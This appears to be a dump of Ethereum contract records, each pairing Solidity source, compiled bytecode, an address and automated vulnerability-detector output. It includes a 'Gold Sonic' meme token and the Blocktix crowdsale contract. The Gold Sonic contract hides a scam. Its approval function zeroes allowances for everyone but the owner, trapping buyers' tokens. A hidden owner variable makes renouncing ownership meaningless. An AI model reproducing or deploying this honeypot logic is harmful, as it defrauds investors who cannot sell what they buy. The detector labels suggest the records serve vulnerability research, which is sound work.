50608001529392505050565b6000816000190483118215151615611a2d57611a2d611925565b500290565b600082611a4f57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b53e2171e7e4f5f31c601dfe996e55177ffb9a3fb2880366554622026c928b8d64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
2,757
0xf3a3a57a1af8c1a6b6d3db335253e9e260fb321a
/* The FINAL of the TRILOGY in our ecosystem has arrived. GOLD SONIC is the most epic character in the Sonic games and many of us needed to use a cheat code in order to get him. But now, he’s OURS $TAILS ecosystem to the moon! Tokenomics 🌟 1M Total Supply ⭐️ ZERO Burn 🟡 10% Gold tax on all transactions 🏆 CG & CMC Fast-tracked https://t.me/GoldSonicToken */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract GoldSonic is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**3 * 10**18; string private _name = ' Gold Sonic '; string private _symbol = 'GSONIC'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220907c51f6b75d0a5fa608e47f71d471e63e154605a68adb01c7069f67f7aea00764736f6c634300060c0033
{"success": true, "error": null, "results": {}}
2,758
0x6750c97aa8a1b388ed560a06aefd64d457455ba7
pragma solidity ^0.4.11; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value); function approve(address spender, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Blocktix Token Generation Event contract * * @dev Based on code by BAT: https://github.com/brave-intl/basic-attention-token-crowdsale/blob/master/contracts/BAToken.sol */ contract TIXGeneration is StandardToken { string public constant name = "Blocktix Token"; string public constant symbol = "TIX"; uint256 public constant decimals = 18; string public version = "1.0"; // crowdsale parameters bool public isFinalized; // switched to true in operational state uint256 public startTime = 0; // crowdsale start time (in seconds) uint256 public endTime = 0; // crowdsale end time (in seconds) uint256 public constant tokenGenerationCap = 62.5 * (10**6) * 10**decimals; // 62.5m TIX uint256 public constant t2tokenExchangeRate = 1250; uint256 public constant t3tokenExchangeRate = 1041; uint256 public constant tixFund = tokenGenerationCap / 100 * 24; // 24% uint256 public constant tixFounders = tokenGenerationCap / 100 * 10; // 10% uint256 public constant tixPromo = tokenGenerationCap / 100 * 2; // 2% uint256 public constant tixPresale = 29.16 * (10**6) * 10**decimals; // 29.16m TIX Presale uint256 public constant finalTier = 52.5 * (10**6) * 10**decimals; // last 10m uint256 public tokenExchangeRate = t2tokenExchangeRate; // addresses address public ethFundDeposit; // deposit address for ETH for Blocktix address public tixFundDeposit; // deposit address for TIX for Blocktix address public tixFoundersDeposit; // deposit address for TIX for Founders address public tixPromoDeposit; // deposit address for TIX for Promotion address public tixPresaleDeposit; // deposit address for TIX for Presale /** * @dev modifier to allow actions only when the contract IS finalized */ modifier whenFinalized() { if (!isFinalized) throw; _; } /** * @dev modifier to allow actions only when the contract IS NOT finalized */ modifier whenNotFinalized() { if (isFinalized) throw; _; } // ensures that the current time is between _startTime (inclusive) and _endTime (exclusive) modifier between(uint256 _startTime, uint256 _endTime) { assert(now >= _startTime && now < _endTime); _; } // verifies that an amount is greater than zero modifier validAmount() { require(msg.value > 0); _; } // validates an address - currently only checks that it isn&#39;t null modifier validAddress(address _address) { require(_address != 0x0); _; } // events event CreateTIX(address indexed _to, uint256 _value); /** * @dev Contructor that assigns all presale tokens and starts the sale */ function TIXGeneration( address _ethFundDeposit, address _tixFundDeposit, address _tixFoundersDeposit, address _tixPromoDeposit, address _tixPresaleDeposit, uint256 _startTime, uint256 _endTime) { isFinalized = false; // Initialize presale ethFundDeposit = _ethFundDeposit; tixFundDeposit = _tixFundDeposit; tixFoundersDeposit = _tixFoundersDeposit; tixPromoDeposit = _tixPromoDeposit; tixPresaleDeposit = _tixPresaleDeposit; startTime = _startTime; endTime = _endTime; // Allocate presale and founders tix totalSupply = tixFund; totalSupply += tixFounders; totalSupply += tixPromo; totalSupply += tixPresale; balances[tixFundDeposit] = tixFund; // Deposit TIX for Blocktix balances[tixFoundersDeposit] = tixFounders; // Deposit TIX for Founders balances[tixPromoDeposit] = tixPromo; // Deposit TIX for Promotion balances[tixPresaleDeposit] = tixPresale; // Deposit TIX for Presale CreateTIX(tixFundDeposit, tixFund); // logs TIX for Blocktix CreateTIX(tixFoundersDeposit, tixFounders); // logs TIX for Founders CreateTIX(tixPromoDeposit, tixPromo); // logs TIX for Promotion CreateTIX(tixPresaleDeposit, tixPresale); // logs TIX for Presale } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. * * can only be called during once the the funding period has been finalized */ function transfer(address _to, uint _value) whenFinalized { super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered * * can only be called during once the the funding period has been finalized */ function transferFrom(address _from, address _to, uint _value) whenFinalized { super.transferFrom(_from, _to, _value); } /** * @dev Accepts ETH and generates TIX tokens * * can only be called during the crowdsale */ function generateTokens() public payable whenNotFinalized between(startTime, endTime) validAmount { if (totalSupply == tokenGenerationCap) throw; uint256 tokens = SafeMath.mul(msg.value, tokenExchangeRate); // check that we&#39;re not over totals uint256 checkedSupply = SafeMath.add(totalSupply, tokens); uint256 diff; // switch to next tier if (tokenExchangeRate != t3tokenExchangeRate && finalTier < checkedSupply) { diff = SafeMath.sub(checkedSupply, finalTier); tokens = SafeMath.sub(tokens, diff); uint256 ethdiff = SafeMath.div(diff, t2tokenExchangeRate); tokenExchangeRate = t3tokenExchangeRate; tokens = SafeMath.add(tokens, SafeMath.mul(ethdiff, tokenExchangeRate)); checkedSupply = SafeMath.add(totalSupply, tokens); } // return money if something goes wrong if (tokenGenerationCap < checkedSupply) { diff = SafeMath.sub(checkedSupply, tokenGenerationCap); if (diff > 10**12) throw; checkedSupply = SafeMath.sub(checkedSupply, diff); tokens = SafeMath.sub(tokens, diff); } totalSupply = checkedSupply; balances[msg.sender] += tokens; CreateTIX(msg.sender, tokens); // logs token creation } /** * @dev Ends the funding period and sends the ETH home */ function finalize() external whenNotFinalized { if (msg.sender != ethFundDeposit) throw; // locks finalize to the ultimate ETH owner if (now <= endTime && totalSupply != tokenGenerationCap) throw; // move to operational isFinalized = true; if(!ethFundDeposit.send(this.balance)) throw; // send the eth to Blocktix } // fallback function() payable whenNotFinalized { generateTokens(); } }
0x606060405236156101725763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610195578063095ea7b31461022557806311c577571461024657806317ffa8301461027257806318160ddd1461029457806323b872dd146102b65780632b8a1c00146102dd578063313ce567146102ff5780633197cbb6146103215780634172d080146103435780634bb278f31461036557806354fd4d50146103775780635692b273146104075780635ef8242914610429578063605770431461044b578063676452f41461046d57806370a082311461048f57806378e97925146104bd57806386f8bce9146104df5780638d4e40831461050b57806391194aab1461052f57806395d89b411461055b578063a5e33048146105eb578063a7a1019d146105f5578063a81c3bdf14610617578063a9059cbb14610643578063cac12d2d14610664578063d2a79e5714610686578063dd62ed3e146106b2575b6101935b60045460ff16156101875760006000fd5b61018f6106e6565b5b5b565b005b341561019d57fe5b6101a56108a2565b6040805160208082528351818301528351919283929083019185019080838382156101eb575b8051825260208311156101eb57601f1990920191602091820191016101cb565b505050905090810190601f1680156102175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561022d57fe5b610193600160a060020a03600435166024356108d9565b005b341561024e57fe5b610256610979565b60408051600160a060020a039092168252519081900360200190f35b341561027a57fe5b610282610988565b60408051918252519081900360200190f35b341561029c57fe5b61028261099e565b60408051918252519081900360200190f35b34156102be57fe5b610193600160a060020a03600435811690602435166044356109a4565b005b34156102e557fe5b6102826109c8565b60408051918252519081900360200190f35b341561030757fe5b6102826109ce565b60408051918252519081900360200190f35b341561032957fe5b6102826109d3565b60408051918252519081900360200190f35b341561034b57fe5b6102826109d9565b60408051918252519081900360200190f35b341561036d57fe5b6101936109df565b005b341561037f57fe5b6101a5610a7d565b6040805160208082528351818301528351919283929083019185019080838382156101eb575b8051825260208311156101eb57601f1990920191602091820191016101cb565b505050905090810190601f1680156102175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561040f57fe5b610282610b0b565b60408051918252519081900360200190f35b341561043157fe5b610282610b1a565b60408051918252519081900360200190f35b341561045357fe5b610282610b30565b60408051918252519081900360200190f35b341561047557fe5b610282610b46565b60408051918252519081900360200190f35b341561049757fe5b610282600160a060020a0360043516610b4c565b60408051918252519081900360200190f35b34156104c557fe5b610282610b6b565b60408051918252519081900360200190f35b34156104e757fe5b610256610b71565b60408051600160a060020a039092168252519081900360200190f35b341561051357fe5b61051b610b80565b604080519115158252519081900360200190f35b341561053757fe5b610256610b89565b60408051600160a060020a039092168252519081900360200190f35b341561056357fe5b6101a5610b98565b6040805160208082528351818301528351919283929083019185019080838382156101eb575b8051825260208311156101eb57601f1990920191602091820191016101cb565b505050905090810190601f1680156102175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101936106e6565b005b34156105fd57fe5b610282610bcf565b60408051918252519081900360200190f35b341561061f57fe5b610256610bde565b60408051600160a060020a039092168252519081900360200190f35b341561064b57fe5b610193600160a060020a0360043516602435610bed565b005b341561066c57fe5b610282610c0f565b60408051918252519081900360200190f35b341561068e57fe5b610256610c1e565b60408051600160a060020a039092168252519081900360200190f35b34156106ba57fe5b610282600160a060020a0360043581169060243516610c2d565b60408051918252519081900360200190f35b60045460009081908190819060ff16156107005760006000fd5b60055460065481421015801561071557508042105b151561071d57fe5b6000341161072b5760006000fd5b6000546a33b2e3c9fd0803ce80000014156107465760006000fd5b61075234600754610c5a565b955061076060005487610c89565b94506104116007541415801561078157506a2b6d4eb3e906bb848000008590105b156107e65761079b856a2b6d4eb3e906bb84800000610ca3565b93506107a78685610ca3565b95506107b5846104e2610cba565b92506104116007819055506107d5866107d085600754610c5a565b610c89565b95506107e360005487610c89565b94505b6a33b2e3c9fd0803ce8000008590101561083d5761080f856a33b2e3c9fd0803ce800000610ca3565b935064e8d4a510008411156108245760006000fd5b61082e8585610ca3565b945061083a8685610ca3565b95505b6000858155600160a060020a0333168082526001602090815260409283902080548a0190558251898152925191927f88034bc50ada5f0c75211395735d93a888fdf6ee77d30b9b4637c67d4f8e2404929081900390910190a25b5b5b50505b50505050565b60408051808201909152600e81527f426c6f636b74697820546f6b656e000000000000000000000000000000000000602082015281565b801580159061090c5750600160a060020a0333811660009081526002602090815260408083209386168352929052205415155b156109175760006000fd5b600160a060020a03338116600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35b5050565b600b54600160a060020a031681565b60646a33b2e3c9fd0803ce8000005b04600a0281565b60005481565b60045460ff1615156109b65760006000fd5b6109c1838383610cd7565b5b5b505050565b6104e281565b601281565b60065481565b60075481565b60045460ff16156109f05760006000fd5b60085433600160a060020a03908116911614610a0c5760006000fd5b6006544211158015610a2b57506000546a33b2e3c9fd0803ce80000014155b15610a365760006000fd5b6004805460ff19166001179055600854604051600160a060020a039182169130163180156108fc02916000818181858888f19350505050151561018f5760006000fd5b5b5b565b6003805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610b035780601f10610ad857610100808354040283529160200191610b03565b820191906000526020600020905b815481529060010190602001808311610ae657829003601f168201915b505050505081565b6a2b6d4eb3e906bb8480000081565b60646a33b2e3c9fd0803ce8000005b0460020281565b60646a33b2e3c9fd0803ce8000005b0460180281565b61041181565b600160a060020a0381166000908152600160205260409020545b919050565b60055481565b600954600160a060020a031681565b60045460ff1681565b600a54600160a060020a031681565b60408051808201909152600381527f5449580000000000000000000000000000000000000000000000000000000000602082015281565b6a181edec479d2966100000081565b600854600160a060020a031681565b60045460ff161515610bff5760006000fd5b6109758282610de3565b5b5b5050565b6a33b2e3c9fd0803ce80000081565b600c54600160a060020a031681565b600160a060020a038083166000908152600260209081526040808320938516835292905220545b92915050565b6000828202831580610c765750828482811515610c7357fe5b04145b1515610c7e57fe5b8091505b5092915050565b600082820183811015610c7e57fe5b8091505b5092915050565b600082821115610caf57fe5b508082035b92915050565b600060008284811515610cc957fe5b0490508091505b5092915050565b600160a060020a038084166000908152600260209081526040808320338516845282528083205493861683526001909152902054610d1b908363ffffffff610c8916565b600160a060020a038085166000908152600160205260408082209390935590861681522054610d50908363ffffffff610ca316565b600160a060020a038516600090815260016020526040902055610d79818363ffffffff610ca316565b600160a060020a038086166000818152600260209081526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35b50505050565b600160a060020a033316600090815260016020526040902054610e0c908263ffffffff610ca316565b600160a060020a033381166000908152600160205260408082209390935590841681522054610e41908263ffffffff610c8916565b600160a060020a038084166000818152600160209081526040918290209490945580518581529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b50505600a165627a7a7230582020681703d145e264dfac767b8861ff338485acb8b1c11bcec24d823ad4116b050029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
2,759
0x56e9c80741ce7c148fc7cf040a918df51f26ec02
